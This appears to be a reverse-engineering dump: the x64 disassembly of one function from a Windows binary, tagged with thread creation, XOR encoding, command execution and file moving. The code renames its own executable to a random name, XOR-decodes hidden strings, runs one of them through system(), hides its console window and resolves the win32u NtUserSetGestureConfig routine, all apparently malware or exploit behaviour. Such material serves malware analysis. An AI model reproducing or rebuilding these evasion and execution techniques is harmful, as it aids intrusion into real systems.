Function at 0x14003d140
Capabilities:
Create thread
Encode data using xor
Execute command
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x208]
sub rsp, 0x2e0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140051040]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor esi, esi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
movabs rax, 0xc8c778638cf6ba6f
mov qword [rbp + 0x60], rax
movabs r14, 0xb8e6996691cb9546
mov qword [rbp + 0x68], r14
movabs r15, 0xc8c77863e98edf41
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], r14
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x60], xmm0
mov qword [rsp + 0x38], rsi
mov r12d, 0xf
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
xor eax, eax
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x3f], al
lea rbx, [rsp + 0x30]
mov edi, r12d
movabs r13, 0x842108421084211
nop dword [rax]
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x1400499c0]
movups xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [0x1400499d0]
movups xmmword [rbp + 0x90], xmm0
movsd xmm0, qword [0x1400499e0]
movsd qword [rbp + 0xa0], xmm0
mov eax, dword [0x1400499e8]
mov dword [rbp + 0xa8], eax
movzx eax, word [0x1400499ec]
mov word [rbp + 0xac], ax
movzx eax, byte [0x1400499ee]
mov byte [rbp + 0xae], al
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r13
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 5
imul rax, rax, 0x3e
sub rcx, rax
movzx eax, byte [rbp + rcx + 0x70]
mov byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14003d200
lea rax, [rbp + 0x60]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x14003d2a4
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14003d2f7
lea rax, [rcx + rdi]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp + 0x60]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
lea rax, [rsp + 0x30]
jmp 0x14003d30d
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x60]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.14003ddc0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r12
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003d378
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003d373
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003d373
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400408a0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], r12
mov byte [rsp + 0x30], 0
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
mov r8d, 0x104
lea rdx, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x70]
call fcn.14003d9c0
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rcx, qword [rbp + 0x70]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14003d417
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003d412
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003d412
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400408a0
movabs rax, 0xc8c77863e9fdb322
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], r14
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x14003d45f
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rbx, qword [0x140079118]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14003d4a5
lea rdx, str.NtUserSetGestureConfig
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
movabs rbx, 0xadae14209dfdaa13
mov qword [rbp + 0x50], rbx
movabs rdi, 0xb8e6fc1ef4e5e128
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], r14
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
call fcn.1400027d0
mov rcx, qword [0x140079118]
mov dword [rcx + 8], eax
test eax, eax
jne 0x14003d55b
movabs rax, 0xc8c7161186ecba13
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], r14
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x50], xmm0
movabs rax, 0xbcb40d31c9e0aa13
mov qword [rbp + 0x60], rax
movabs rax, 0xb8e6996691cb9567
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], r14
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x60], xmm0
xor r9d, r9d
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [0x140079118]
cmp dword [rax + 8], 0
jne 0x14003d5ac
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], r14
movdqa xmm6, xmmword [rbp + 0x70]
nop word [rax + rax]
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x58], rdi
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmm6
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
call fcn.1400027d0
mov rcx, qword [0x140079118]
mov dword [rcx + 8], eax
test eax, eax
je 0x14003d580
mov ecx, 8
call fcn.140040624
lea rcx, [0x14003cd70]
mov qword [rax], rcx
mov qword [rbp + 0x60], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x14003df70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14003d854
cmp dword [rsp + 0x68], 0
je 0x14003d848
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x70], xmm0
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14003d848
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
lea ecx, [rax + 8]
call fcn.140040624
lea rcx, [0x1400054e0]
mov qword [rax], rcx
mov qword [rbp + 0x60], rax
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x14003df70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14003d838
cmp dword [rsp + 0x58], 0
je 0x14003d82c
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x70], xmm0
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14003d82c
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm0
xor edx, edx
mov r8d, 0xb8
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x70]
call fcn.14003ebe0
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpool]
mov rbx, rax
test rax, rax
je 0x14003d6f0
xor r8d, r8d
xor edx, edx
lea rcx, [0x14003ca00]
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
test rax, rax
jne 0x14003d6e7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
jmp 0x14003d6f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
mov ecx, 8
call fcn.140040624
lea rcx, [rbp - 0x70]
mov qword [rax], rcx
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x14003dfa0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14003d81d
cmp dword [rbp + 0x58], 0
jne 0x14003d745
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp + 0x58], eax
jne 0x14003d75c
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x70], xmm0
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
je 0x14003d781
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rcx, [rbp - 0x70]
call fcn.14003f060
nop
cmp dword [rsp + 0x58], 0
je 0x14003d799
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rsp + 0x68], 0
je 0x14003d7a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14003d7e6
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003d7e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003d7e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400408a0
xor eax, eax
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140040520
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rbp + 0x58], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x58], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3